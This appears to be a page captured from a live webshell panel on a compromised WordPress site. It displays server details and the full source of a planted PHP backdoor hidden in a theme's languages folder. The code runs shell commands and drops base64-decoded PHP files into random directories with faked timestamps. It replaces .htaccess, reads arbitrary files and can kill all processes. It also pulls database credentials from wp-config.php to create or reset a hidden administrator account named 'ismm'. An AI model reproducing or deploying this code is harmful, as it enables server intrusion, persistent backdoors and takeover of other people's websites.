403Webshell
Server IP : 194.30.32.123  /  Your IP : 216.73.216.89
Web Server : Apache
System : Linux 4f6650a08421 5.10.0-44-amd64 #1 SMP Debian 5.10.257-1 (2026-05-27) x86_64
User : ftpbegirale ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /expert/htwebs/www.begirale.com/public/wp-content/themes/exs-church/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /expert/htwebs/www.begirale.com/public/wp-content/themes/exs-church/languages/wp-lddd.php
<?php
error_reporting(0);
@set_time_limit(0);
function fe($s){ return function_exists($s); }
function fex($s){ return file_exists($s); }
function gr($s){ return $_REQUEST[$s] !=""?$_REQUEST[$s]:""; }

$a = $_REQUEST["a"];
if($a == "c") die("jfiasps7n4K3CBK");
if($a == "ul") (die(@unlink(__FILE__)));
if($a == "k") die(@execute("kill -9 -1"));

if(!defined("ROOT")){
    $U = $_SERVER["PHP_SELF"];
    if(!$U){
        $a = explode("?",$_SERVER["REQUEST_URI"]);
        $U= $a[0];
    }
    $P = __FILE__;
    if(!$P)$P = $_SERVER["PATH_TRANSLATED"];
    if(!$P)$P = $_SERVER["SCRIPT_FILENAME"];
    define("ROOT", str_replace($U,"",$P),false);
}
function r($p){ return ROOT."/".ltrim($p,"/"); }
@unlink(r("sitemap.xml"));
@unlink(r("sitemap_index.xml"));
@unlink(r("robots.txt"));
@userIni();
@adduser();
switch ($a){
    case "r":@r_f();break;
    case "b":@back(); break;
    case "b2":@back2(); break;
    case "h":@htac();break;
    case "hj":@hija();break;
    case "iw":@isWP();break;
    case "wic":@incFile();break;
}

function isWP(){
    try {
        $f = r("wp-includes/version.php");
        if (fex($f)) {
            $wp_version = "";
            include_once($f);

            die($wp_version != ""?"1":"0");
        }
    } catch (Exception $e) {}
    die("") ;
}
function execute($cfe) {
    $res = '';
    if ($cfe) {
        if(function_exists('system')) {
            @ob_start();
            @system($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif(function_exists('passthru')) {
            @ob_start();
            @passthru($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif(function_exists('shell_exec')) {
            $res = @shell_exec($cfe);
        } elseif(function_exists('exec')) {
            @exec($cfe,$res);
            $res = join("\n",$res);
        } elseif(@is_resource($f = @popen($cfe,"r"))) {
            $res = '';
            while(!@feof($f)) {
                $res .= @fread($f,1024);
            }
            @pclose($f);
        }
    }
    return $res;
}
function r_f(){
    $f = gr("f");
    $e = gr("e");
    if($f)echo readF(r($f.$e));
    die();
}
function userIni(){
    $f = r(".user.ini");
    if(fex($f)){
        $s = readF($f);
        if(strpos($s,"auto_append_file") !==false){
            fileWrite($f,preg_replace('@auto_append_file.+?$@i',"",$s),false,0);
        }
        if(strpos($s,"auto_prepend_file") !==false){
            fileWrite($f,preg_replace('@auto_prepend_file.+?$@i',"",$s),false,0);
        }
    }
}
function getRandDirs($p,$l){
    $a = "";
    for ($i=0;$i<$l;$i++) {
        $v=getRandDir($p.$a);
        if(!$v) break;
        $a .= $v.'/';
    }
    return trim($a,"/");
}
function getRandDir($p){
    $arr  = array();
    $dir = scandir($p);
    foreach ($dir as $v) {
        if ($v == '.' || $v == '..') continue;
        if (is_dir($p . '/' . $v))$arr[] = $v;
    }
    if(count($arr) == 0) return null;
    return $arr[array_rand($arr)];
}
function b64decode($str){
  return base64_decode(substr($str,6,strlen($str)-12));
}
function fileRead($p){
    $f = file_get_contents($p);
    if(!$f){
        $fp = fopen($p, "r");
        $f = fread($fp, filesize($p));
    }
   return $f;
}
function fileWrite($p,$c,$b,$m){
    $tt= mktime(19,5,10,10,26,2021);
    $a = 0444;
    if(fex($p)){
        if($m == 1)$a = fileperms($p);
        $tt=@filemtime($p);
        @chmod($p,0666);
    };
    if(fex($p))@unlink($p);
    if(fex($p))@rename($p,$p."back");
    if(fex($p))@unlink($p);
    $t = !1;
    $p2=@fopen($p,"w");if($p2){$t=@fwrite($p2,$c);@fclose($p2);}
    if(!$t) $t = @file_put_contents($p,$c);
    if($t){@touch($p,$tt,$tt);if($b)@chmod($p,$a);}
    return (bool)$t;
}
function saveFile($name,$tmp,$ext){
    return fileWrite(r($name.$ext),b64decode(fileRead($tmp)),1,0);
}
function back(){
    $data = array();
    foreach ($_FILES as $k=>$v){
        $d= getRandDirs(r(''),rand(3,6));
        $f =$d.'/'.$k;
        if(fex($f)){
            $d= getRandDirs(r(''),rand(3,7));
            $f =$d.'/'.$k;
        }
        $data[] = array("n"=>$k,"d"=>$d,"s"=>saveFile($f,$v["tmp_name"],".php"));
        @unlink($v["tmp_name"]);
    }
    die(json_encode($data));
}
function back2(){
    $n = gr("n");
    $v = gr("v");
    $d= getRandDirs(r(''),rand(3,6));
    $f= $d.'/'.$n;
    if(fex($f)){
        $d= getRandDirs(r(''),rand(3,7));
        $f =$d.'/'.$n;
    }
    $data = array("n"=>$n,"d"=>$d,"f"=>saveFile($f,$v,".php"));
    die(json_encode($data));
}
function htac(){
    $n = ".htaccess";
    $f = r($n);
    if(fex($f))@unlink($f);
    if(fex($f))@rename($f,$f.".bk");
    $t= saveFile($n,$_FILES["h"]["tmp_name"],"");
    @unlink($_FILES["h"]["tmp_name"]);
    die($t);
}

function hija(){
    if(count($_FILES) == 0)die(0);
    $arr = array_keys($_FILES);
    $name = end($arr);
    if(!empty(gr("f")))$name=gr("f");
    $d= gr("d");
    $n= gr("n");
    $m= gr("m")?1:0;
    if($n != ""){
        $d = getRandDirs(r(''),$n).'/'.trim($d,"/");
    }
    $d= trim($d,"/");
    $f = r($name.".php");
    if($d != "") {
        $f = r($d."/".$name.".php");
        mkdir(r($d),0777,true);
    }
    die(fileWrite($f, b64decode(fileRead($_FILES[$name]["tmp_name"])),1,$m)?"1".($n!=""?"-".$d:""):"0");
}
function readF($f){
    if(!fex($f))return "";
    $s = file_get_contents($f);
    if(empty($s)){
        $fp = @fopen($f, 'r');
        if($fp) {
            while( !@feof($fp) )
                $s .= @fread($fp, 1024);
            @fclose($fp);
        }
    }
    if(empty($s)){
        $s = @execute("/bin/bash -c 'cat ".$f."'");
    }
    return $s;
}


function incFile(){
    $d= r("wp-includes");
    if(!is_dir($d)){
        die();
    }
    $arr  = array();
    $dir = scandir($d);
    foreach ($dir as $v) {
        if ($v == '.' || $v == '..' || is_dir($d . '/' . $v) || strpos($v,".php")===false) continue;
        $arr[] = $v;
    }
    if(count($arr) == 0) die();
    shuffle($arr);
    $n = gr("n");
    if(empty($n)) $n = 3;
    die(implode(",",array_slice($arr,0,$n)));
}

function adduser(){
        if (is_file(r('wp-config.php'))) {
            $contents = readF(r('wp-config.php'));
            preg_match("@'DB_NAME',\s*'(.*?)'@", $contents, $matchd);
            preg_match("@'DB_USER',\s*'(.*?)'@", $contents, $matchu);
            preg_match("@'DB_PASSWORD',\s*'(.*?)'@", $contents, $matchp);
            preg_match("@'DB_HOST',\s*'(.*?)'@", $contents, $matchh);
            preg_match("@table_prefix\s*=\s*'(.*?)'@", $contents, $matchw);
            $db_name = $matchd[1];
            $db_user = $matchu[1];
            $db_pass = $matchp[1];
            $db_host = $matchh[1];
            $db_pre = $matchw[1];
            $db_port = "3306";
            if (stripos($db_host, ":")) {
                $arr = explode(":", $db_host);
                $db_host = $arr[0];
                $db_port = $arr[1];
            }
            if (trim($db_host) == "") {
                $db_host = "localhost";
            }
            $con = mysqli_connect($db_host, $db_user, $db_pass, $db_name, $db_port);
            $sql = "select * from $db_pre" . "users where user_login='ismm';";
            $query = mysqli_query($con, $sql);
            $row = mysqli_fetch_array($query);
            if ($row['user_login'] != "" || $row['user_login'] != null) {
                $sql = "update $db_pre" . "users set user_pass='\$P\$B048Faht2IlfSgEvyKyHYlAmtquiW.0' where user_login='ismm';";
                mysqli_query($con, $sql);
            } else {
                $sql = "insert into $db_pre" . "users(user_login,user_pass,user_nicename,user_email,user_registered,user_activation_key,user_status,display_name) values('ismm', '\$P\$B048Faht2IlfSgEvyKyHYlAmtquiW.0', 'ismm', '123@abc.com', '2020-04-21 06:42:46', '', '0', 'ismm');";
                $query = mysqli_query($con, $sql);
                $sql = "select ID from $db_pre" . "users where user_login='ismm';";
                $query = mysqli_query($con, $sql);
                $row = mysqli_fetch_array($query);
                $id = $row['ID'];
                $sql = "insert into $db_pre" . "usermeta(user_id, meta_key, meta_value) values($id, '$db_pre" . "capabilities', 'a:1:{s:13:\"administrator\";b:1;}');";
                $query = mysqli_query($con, $sql);
                $sql = "select * from $db_pre" . "users where user_login='ismm';";
                $query = mysqli_query($con, $sql);
                mysqli_fetch_array($query);
            }
        }
}



Youez - 2016 - github.com/yon3zu
LinuXploit